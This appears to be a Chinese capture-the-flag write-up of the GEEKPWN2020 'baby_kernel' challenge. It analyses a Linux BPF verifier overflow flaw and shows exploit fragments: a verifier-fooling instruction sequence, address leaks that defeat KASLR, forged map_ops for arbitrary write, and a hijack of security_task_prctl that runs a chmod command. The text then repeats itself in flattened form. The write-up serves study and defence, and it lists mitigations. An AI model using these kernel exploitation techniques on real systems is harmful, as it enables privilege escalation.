GEEKPWN2020-云安全挑战赛决赛-baby_kernel题解
字数 1125 2025-08-20 18:18:23

Linux内核BPF子系统漏洞分析与利用

漏洞概述

本教学文档分析的是GEEKPWN2020云安全挑战赛决赛中的baby_kernel题目,涉及Linux内核BPF子系统的漏洞利用。该漏洞与CVE-2020-8835类似,都是由于BPF验证器(verifier)在算术运算时缺少溢出检查导致的。

漏洞分析

漏洞位置

漏洞位于verifier.c文件中的scalar_min_max_add函数,缺少了对算术运算溢出的检查。调用链如下:

do_check -> check_alu_op -> adjust_reg_min_max_vals -> adjust_scalar_min_max_vals -> scalar_min_max_add

关键代码片段:

static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
                    struct bpf_insn *insn,
                    struct bpf_reg_state *dst_reg,
                    struct bpf_reg_state src_reg)
{
    switch (opcode) {
    case BPF_ADD:
        ret = sanitize_val_alu(env, insn);
        if (ret < 0) {
            verbose(env, "R%d tried to add from different pointers or scalars\n", dst);
            return ret;
        }
        scalar32_min_max_add(dst_reg, &src_reg);
        scalar_min_max_add(dst_reg, &src_reg);
        dst_reg->var_off = tnum_add(dst_reg->var_off, src_reg.var_off);
        break;
    //...
    }
}

漏洞原理

BPF验证器在计算寄存器值的范围(smin_valsmax_val)时,使用32位截断计算,导致可以欺骗验证器认为寄存器值的范围与实际不同。具体来说:

  1. 初始时寄存器的smin_valsmax_val分别为S64_MIN(0x8000000000000000)和S64_MAX(0x7fffffffffffffff)
  2. 通过一系列算术运算(加、移位等),可以使验证器认为寄存器的值为0
  3. 但实际上可以传入非零值,绕过验证器的检查

关键BPF指令序列

以下BPF指令序列可以欺骗验证器:

BPF_ALU64_IMM(BPF_ADD,8,1),    // r8 += 1
BPF_ALU64_IMM(BPF_RSH,8,1),    // r8 >> 1
BPF_ALU64_IMM(BPF_LSH,8,1),    // r8 << 1
BPF_ALU64_REG(BPF_ADD,8,8),     // r8 += r8 (overflow)
BPF_ALU64_IMM(BPF_RSH,8,32),   // r8 >>= 32
BPF_ALU64_IMM(BPF_MUL,8,0x110/2) // r8 *= 0x110

验证器认为最终r8的值为0,但实际上如果初始值为0x100000000,经过计算会得到0x110,可用于越界访问。

漏洞利用

利用步骤

  1. 地址泄露

    • 利用越界读取获取array_map_ops地址,计算KASLR偏移
    • 泄露map地址
  2. 任意地址写

    • 伪造map_ops结构,将map_push_elem改为array_map_get_next_key
    • 设置map_typeBPF_MAP_TYPE_STACKmax_entries为-1
    • 通过map_update_elem触发任意写
  3. 控制流劫持

    • 劫持security_task_prctl函数指针
    • 修改为poweroff_work_func地址
    • 修改poweroff_cmd为要执行的命令

关键数据结构

  1. bpf_array结构
struct bpf_array {
    struct bpf_map map;
    u32 elem_size;
    u32 index_mask;
    struct bpf_array_aux *aux;
    union {
        char value[0];
        void *ptrs[0];
        void *pptrs[0];
    };
};
  1. bpf_map_ops结构
struct bpf_map_ops {
    /* funcs callable from userspace */
    int (*map_alloc_check)(...);
    struct bpf_map *(*map_alloc)(...);
    void (*map_release)(...);
    void (*map_free)(...);
    int (*map_get_next_key)(...);
    //...
};

利用代码关键部分

  1. 地址泄露
BPF_LDX_MEM(BPF_DW, 0, 7, 0),      // r0 = [r7+0]
BPF_STX_MEM(BPF_DW, 6, 0, 0x10),   // r6+0x10 = r0 = ctrl_map[2]
BPF_LDX_MEM(BPF_DW, 0, 7, 0xc8),   // r0 = [r7+0xc0]
BPF_STX_MEM(BPF_DW, 6, 0, 0x18),   // r6+0x18 = r0 = ctrl_map[3]
  1. 伪造map_ops
uint64_t fake_map_ops[] = {
    kaslr + 0xffffffff81162ef0,    // map_alloc_check
    kaslr + 0xffffffff81163df0,    // map_alloc
    0x0,
    kaslr + 0xffffffff811636c0,    // map_free
    kaslr + 0xffffffff81162fe0,    // get_next_key (原map_push_elem位置)
    //...
};
  1. 控制流劫持
// 修改security_task_prctl函数指针
expbuf64[0] = (poweroff_work_func & 0xffffffff) - 1;
bpf_update_elem(expmapfd, &key, expbuf, hp_hook);

// 修改poweroff_cmd为"/bin/chmod 777 /flag"
expbuf64[0] = 0x6e69622f - 1;  // "/bin"
bpf_update_elem(expmapfd, &key, expbuf, poweroff_cmd);

防御措施

  1. scalar_min_max_add等算术运算函数中添加溢出检查
  2. 加强BPF验证器对寄存器值范围的跟踪
  3. 使用更严格的边界检查
  4. 启用KASLR和SMAP/SMEP等防护机制

总结

该漏洞利用BPF验证器在算术运算时缺少溢出检查的特性,通过精心构造的BPF指令序列欺骗验证器,最终实现任意地址读写和控制流劫持。利用过程中需要深入理解BPF验证器的工作原理和内核数据结构,是一道综合性很强的内核漏洞利用题目。

Linux内核BPF子系统漏洞分析与利用 漏洞概述 本教学文档分析的是GEEKPWN2020云安全挑战赛决赛中的 baby_kernel 题目,涉及Linux内核BPF子系统的漏洞利用。该漏洞与CVE-2020-8835类似,都是由于BPF验证器(verifier)在算术运算时缺少溢出检查导致的。 漏洞分析 漏洞位置 漏洞位于 verifier.c 文件中的 scalar_min_max_add 函数,缺少了对算术运算溢出的检查。调用链如下: 关键代码片段: 漏洞原理 BPF验证器在计算寄存器值的范围( smin_val 和 smax_val )时,使用32位截断计算,导致可以欺骗验证器认为寄存器值的范围与实际不同。具体来说: 初始时寄存器的 smin_val 和 smax_val 分别为 S64_MIN (0x8000000000000000)和 S64_MAX (0x7fffffffffffffff) 通过一系列算术运算(加、移位等),可以使验证器认为寄存器的值为0 但实际上可以传入非零值,绕过验证器的检查 关键BPF指令序列 以下BPF指令序列可以欺骗验证器: 验证器认为最终 r8 的值为0,但实际上如果初始值为0x100000000,经过计算会得到0x110,可用于越界访问。 漏洞利用 利用步骤 地址泄露 : 利用越界读取获取 array_map_ops 地址,计算KASLR偏移 泄露map地址 任意地址写 : 伪造 map_ops 结构,将 map_push_elem 改为 array_map_get_next_key 设置 map_type 为 BPF_MAP_TYPE_STACK , max_entries 为-1 通过 map_update_elem 触发任意写 控制流劫持 : 劫持 security_task_prctl 函数指针 修改为 poweroff_work_func 地址 修改 poweroff_cmd 为要执行的命令 关键数据结构 bpf_ array结构 : bpf_ map_ ops结构 : 利用代码关键部分 地址泄露 : 伪造map_ ops : 控制流劫持 : 防御措施 在 scalar_min_max_add 等算术运算函数中添加溢出检查 加强BPF验证器对寄存器值范围的跟踪 使用更严格的边界检查 启用KASLR和SMAP/SMEP等防护机制 总结 该漏洞利用BPF验证器在算术运算时缺少溢出检查的特性,通过精心构造的BPF指令序列欺骗验证器,最终实现任意地址读写和控制流劫持。利用过程中需要深入理解BPF验证器的工作原理和内核数据结构,是一道综合性很强的内核漏洞利用题目。